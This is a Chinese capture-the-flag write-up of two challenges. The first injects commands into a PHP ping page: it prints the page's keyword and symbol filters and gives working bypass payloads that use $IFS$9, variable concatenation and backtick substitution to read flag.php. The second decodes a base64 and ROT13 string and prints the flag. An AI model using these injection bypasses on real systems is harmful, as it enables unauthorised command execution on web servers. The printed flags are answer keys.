小心我PING死你
题目如下:
解题思路:PHP命令执行与绕过
/?ip=127.0.0.1;ls
通过GET方式提交常见Linux命令发现ls、cat、空格等均被过滤
/?ip=127.0.0.1;dir
通过dir发现目录下存在flag.php与index.php
可利用less、more、tac等替代cat,$IFS$9替代空格,但发现无法直接查看flag.php。
猜测有过滤,先查看index.php
/?ip=127.0.0.1;tac$IFS$9index.php
代码如下:
?> } print_r($a); echo "
";
$a = shell_exec("ping -c 4 ".$ip);
}
die("you cant get flag !");
else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
}
die("no no no you cant use ls it !!!");
else if(preg_match("/ls/", $ip)){
}
die("no no no you cant use base64 it !!!");
else if(preg_match("/base64/", $ip)){
}
die("no no no you cant use cat it !!!");
else if(preg_match("/cat/", $ip)){
}
die("do not bash hacker !!!");
else if(preg_match("/bash/", $ip)){
}
die("do not space hacker !!");
else if(preg_match("/ /", $ip)){
}
die("do not symbol hacker !!");
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
print($ip);
print_r($match);
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
$ip = $_GET['ip'];
if(isset($_GET['ip'])){
发现匹配规则包括:是否顺序出现flag字母、是否使用ls、cat、bash、base64、空格、{}、\等特殊命令与字符
那么绕过思路就很清晰了,列举两个方法:
命令拼接-pyload:
/?ip=127.0.0.1;a=g;tac$IFS$1fla$a.php
内联命令替代-pyload:
?ip=127.0.0.1;tac$IFS$9`dir`
注意flag需要查看页面源代码
神奇的字符
题目如下:
原字符:
NzM3OTZlNzQ3YjM2Mzc3MzM5MzU3MDM5MzgzNzMwMzkzMTM0MzIzOTZmMzAzOTM3NzMzMjM1MzIzNTM1NzMzNjM5MzczMDM4MzA3ZA
解题思路:BASE编码与栅栏密码
直接使用在线base解密
得到字符:
synt{67s95p987091429o097s25255s697080}
直接使用在线凯撒密码工具,发现位移数为13
得到字符:
flag{67f95c987091429b097f25255f697080}